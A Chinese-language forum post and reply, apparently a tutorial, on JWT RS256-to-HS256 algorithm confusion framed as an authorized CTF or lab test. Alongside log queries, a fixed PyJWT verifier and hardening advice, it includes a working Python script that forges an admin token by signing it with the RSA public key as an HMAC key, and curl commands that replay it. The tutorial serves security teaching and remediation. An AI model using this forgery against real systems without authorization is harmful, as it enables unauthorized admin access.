发布于12小时前12小时 背景:从 CTF 题目还原真实鉴权缺陷JWT 算法混淆是 CTF Web 与密码学交叉题型中常见的鉴权漏洞。问题通常不在 RSA 或 HMAC 算法本身,而在服务端允许客户端通过 JWT 头部的 alg 字段决定验签方式,并错误地将 RSA 公钥同时当作 HMAC 密钥使用。攻击者不需要破解私钥,只需获得本应公开的 RSA 公钥,就可能伪造具有管理员权限的令牌。本文以隔离靶场中的授权漏洞验证为场景:应用使用 RS256 签发访问令牌,普通用户只能读取自己的资料,管理员令牌则可访问 /api/admin/export。测试目标是确认验证器是否存在 RS256 到 HS256 的算法混淆,并给出权限边界、日志留痕和修复方法。所有操作均应限定在书面授权的目标、测试账号和时间窗口内。测试前应固定靶场域名、测试账号、源 IP 和请求编号。不要把从其他环境获得的令牌、公钥或用户数据带入测试。问题定位:先区分令牌篡改与算法混淆一个典型 JWT 由 header、payload 和 signature 三部分组成。排查时不能只看到 Base64URL 字符串就判断存在漏洞,应依次验证以下事实:服务端是否明确使用 RS256,而不是由令牌头部动态选择任意算法。普通用户修改 payload 后,原签名是否会被拒绝。把 alg 改为 none 后,服务端是否仍接受无签名令牌。把 alg 改为 HS256 后,服务端是否错误地使用 RSA 公钥执行 HMAC 校验。通过伪造令牌得到的是实际管理员权限,还是仅改变了前端显示。首先使用测试账号获取基线令牌,并保存响应头中的请求标识。以下命令中的域名和凭据仅代表本地靶场:export LAB_URL=' curl -sS -D login.headers \ -H 'Content-Type: application/json' \ -d '{"username":"player01","password":"Lab-Only-Password"}' \ "$LAB_URL/api/login" | tee login.json jq -r '.access_token' login.json > user.jwt cut -d '.' -f1 user.jwt | base64 -d 2>/dev/null cut -d '.' -f2 user.jwt | base64 -d 2>/dev/nullBase64URL 解码只用于查看内容,并不等于签名有效。若 payload 中出现 role、scope、is_admin 或 tenant_id 等字段,应继续确认服务端是否直接信任这些声明。技术分析:漏洞为何能够跨越权限边界正常的 RS256 流程中,签发端使用 RSA 私钥签名,验证端使用公钥验签。HS256 则由签发端和验证端共享同一个对称密钥。当脆弱验证器读取 alg 后动态选择算法,同时把同一份 key 数据传给不同验证函数时,攻击者可以声明使用 HS256,并把公开的 RSA 公钥文本当作 HMAC 密钥。脆弱逻辑可抽象为以下代码。关键缺陷是算法由不可信的 JWT header 控制,而且 key_material 在两种算法之间复用:def verify_token(token, key_material): header = decode_header_without_verification(token) if header["alg"] == "RS256": return verify_rsa_sha256(token, key_material) elif header["alg"] == "HS256": return verify_hmac_sha256(token, key_material) raise InvalidToken("unsupported algorithm")若 key_material 是可公开下载的 PEM 公钥,攻击者就能在本地计算 HMAC。真正的权限跨越发生在服务端验证伪造签名后,又把 payload 中的 role=admin 或 scope=admin:export 映射为后台权限。操作步骤:在隔离靶场完成最小化验证第一步是确定公钥来源。常见位置包括 /.well-known/jwks.json、/oauth/jwks、静态 PEM 文件或应用镜像中的配置。公钥公开本身不是漏洞;漏洞是验证器把公钥当作对称密钥。curl -sS "$LAB_URL/.well-known/jwks.json" | jq . curl -sS "$LAB_URL/static/public.pem" -o public.pem openssl pkey -pubin -in public.pem -text -noout第二步生成受控测试令牌。为了降低影响,只修改实验账号的 role 和 scope,不修改 sub、tenant_id、aud、iss,并将有效期限制为五分钟。下面的脚本直接展示签名输入和 HMAC 计算过程,便于理解 CTF 中的密码学机制:import base64 import hashlib import hmac import json import time def b64url(data): return base64.urlsafe_b64encode(data).rstrip(b"=") with open("public.pem", "rb") as f: public_key = f.read() now = int(time.time()) header = {"alg": "HS256", "typ": "JWT"} payload = { "sub": "player01", "role": "admin", "scope": "admin:export", "iss": "ctf-lab", "aud": "ctf-api", "iat": now, "exp": now + 300 } encoded_header = b64url(json.dumps(header, separators=(",", ":")).encode()) encoded_payload = b64url(json.dumps(payload, separators=(",", ":")).encode()) signing_input = encoded_header + b"." + encoded_payload signature = hmac.new(public_key, signing_input, hashlib.sha256).digest() forged_token = signing_input + b"." + b64url(signature) print(forged_token.decode())执行后把输出保存为 forged.jwt,并分别请求普通接口和管理员接口。验证重点是服务端实际授权结果,不是令牌能否被某个在线解码器解析。python3 forge_lab_jwt.py > forged.jwt curl -sS -D normal.headers \ -H "Authorization: Bearer $(tr -d '\n' < user.jwt)" \ "$LAB_URL/api/admin/export" -o normal.body curl -sS -D forged.headers \ -H "Authorization: Bearer $(tr -d '\n' < forged.jwt)" \ -H 'X-Test-Case: JWT-ALG-CONFUSION-01' \ "$LAB_URL/api/admin/export" -o forged.body head -n 1 normal.headers head -n 1 forged.headers sha256sum normal.body forged.body如果普通令牌得到 403,而伪造令牌得到 200 且返回管理员资源,可以确认漏洞已经越过后端权限边界。验证到这里即可停止,不应继续导出完整数据。报告中保留状态码、响应长度、响应摘要和少量脱敏字段即可。排除误判:检查算法库与密钥格式现代 JWT 库通常会拒绝把 PEM 公钥作为 HMAC 密钥。因此脚本成功生成令牌并不表示服务端一定存在漏洞。若服务端返回 401,应结合日志区分算法白名单生效、密钥格式拒绝、受众不匹配和令牌过期等情况。401 且日志显示 unsupported algorithm:算法白名单有效。401 且显示 invalid audience 或 invalid issuer:尚不能判断算法混淆是否存在,应使用测试环境的正确 aud 和 iss 复测。403:签名可能已通过,但权限映射没有授予目标操作,需要确认鉴权链路。200:检查返回内容是否来自真实受保护接口,排除缓存、模拟数据或仅前端路由放行。日志留痕与取证服务端日志应记录验证结果和授权决策,但不得记录完整 JWT。完整令牌可能包含个人信息,并可被日志读取者直接重放。建议记录令牌的不可逆摘要、alg、kid、iss、aud、sub、请求路径、源 IP、请求编号以及拒绝原因。token_hash=$(sha256sum forged.jwt | awk '{print $1}') printf '%s\n' "$token_hash" # 示例日志检索,字段名需按实际平台调整 jq -c 'select( .event == "jwt_validation" and (.jwt_alg == "HS256" or .reason == "algorithm_not_allowed") ) | { timestamp, request_id, source_ip, subject, jwt_alg, jwt_kid, path, decision, reason }' /var/log/ctf-api/security.json还应关联反向代理和业务审计日志,确认同一 request_id 下是否出现“身份验证成功但管理员授权异常”的组合。短时间内同一账号先使用 RS256、随后使用 HS256,或者同一 kid 对应多个算法,都是值得告警的信号。安全实现与关键配置修复的核心是由服务端配置固定允许的算法,并按算法类型隔离密钥。不能把客户端提交的 alg 当作可信配置,也不应通过关闭签名验证来兼容历史令牌。import jwt EXPECTED_ISSUER = "ctf-lab" EXPECTED_AUDIENCE = "ctf-api" def verify_access_token(token, rsa_public_key): claims = jwt.decode( token, rsa_public_key, algorithms=["RS256"], issuer=EXPECTED_ISSUER, audience=EXPECTED_AUDIENCE, options={ "require": ["exp", "iat", "sub", "iss", "aud"], "verify_signature": True, "verify_exp": True } ) if claims.get("scope") not in {"profile:read", "admin:export"}: raise PermissionError("unknown scope") return claims即使签名验证正确,也不应仅凭 role=admin 直接授权。更稳妥的方式是把 sub 映射到服务端账户,再从权限数据库或策略引擎读取当前角色;JWT 中的 scope 只作为受限声明,并与接口所需权限、租户边界和账号状态共同校验。风险与修复建议固定算法:访问令牌只接受明确配置的 RS256 或 PS256,不接受 none,也不接受自动降级为 HS256。隔离密钥:RSA 公私钥、HMAC 密钥和不同环境的密钥分别存储,禁止复用。校验声明:强制校验 exp、nbf、iat、iss、aud 和 sub;对时间偏差设置有限容忍值。约束 kid:kid 只能映射到预先登记的密钥标识,不能直接拼接文件路径、URL 或数据库查询。后端再授权:高权限接口根据服务端权限数据执行授权,不把可携带的角色声明视为唯一依据。缩短有效期:访问令牌保持短生命周期;发生漏洞后轮换签名密钥,并使旧令牌失效。完善审计:记录算法、密钥标识、主体、接口和决策结果,仅保存令牌摘要,不记录令牌原文。加入回归测试:构造 alg=none、HS256 公钥签名、未知 kid、错误 aud、过期令牌等测试用例,确保均被拒绝。修复后的验证标准修复完成后,应重新执行同一组基线请求。合法 RS256 普通用户令牌应正常访问个人资源;访问管理员接口应返回 403;HS256 伪造令牌和无签名令牌应返回 401,并在安全日志中产生 algorithm_not_allowed 或等价事件。任何失败响应都不应暴露密钥路径、验签库堆栈或内部算法配置。总结JWT 算法混淆题目的核心不是破解 RSA,而是识别密码算法选择与权限授权之间的实现缺陷。一次完整的 CTF 式漏洞验证应形成闭环:确认服务端算法策略,构造最小影响的受控令牌,验证真实后端权限边界,关联日志保存证据,最后通过固定算法、隔离密钥和后端再授权消除漏洞。这样既保留了密码学题目的技术深度,也能直接转化为授权渗透测试中的可复现结论和修复方案。 代码审计、调用链与关键函数定位示意 安全动态、影响面和处置建议示意
12小时前12小时 验证这类题时,建议把“签名绕过”和“越过权限边界”分开记录:前者是服务端接受了错误算法的令牌,后者是受保护接口真的允许了原本无权执行的操作。仅解码出 role=admin,或者拿到一个 HTTP 200,都不足以证明提权成功。 在 CTF 环境里,可以围绕同一条受保护请求做对照测试: 正常的低权限 RS256 令牌:应通过认证,但访问管理员接口应返回 403。 修改权限声明、不重新签名:应在签名校验阶段被拒绝。 将算法换成 HS256,按题目条件尝试用 RSA 公钥材料生成 HMAC 签名:应被拒绝;若通过,再检查管理员操作是否真正生效。 签名正确但 aud 或 iss 不匹配:也应被拒绝,避免把令牌跨服务复用误判成算法混淆。 修复关键不是“禁用某一个坏算法”,而是验证端固定信任策略,不根据令牌头里的 alg 动态选择算法。例如 PyJWT: import jwt claims = jwt.decode( token, trusted_public_key, # 来自服务端可信配置 algorithms=["RS256"], issuer=" audience="admin-api", options={"require": ["exp", "iss", "aud", "sub"]}, ) # 验证成功后,再根据 sub 和服务端授权策略判断接口权限。 还要留意一个复现差异:较新的库通常会拒绝把 PEM 格式的非对称公钥当作 HMAC 密钥。客户端生成令牌时报错,只能说明该生成路径被库拦住,不能据此判断目标验证端安全;需要结合靶场的库版本、密钥加载方式和实际响应定位。 取证上建议关联同一个 request_id 下的认证结果、授权结果和业务审计事件。记录声明算法、实际采用的验证算法、失败原因、校验后的主体及目标资源;校验前读取的 alg/kid 要明确标为不可信输入,并限制长度。不要落完整 JWT 或 Authorization 头。这样才能区分“探测被拦截”“认证绕过成功但授权失败”和“实际越权操作成功”。
创建帐户或登录后发表意见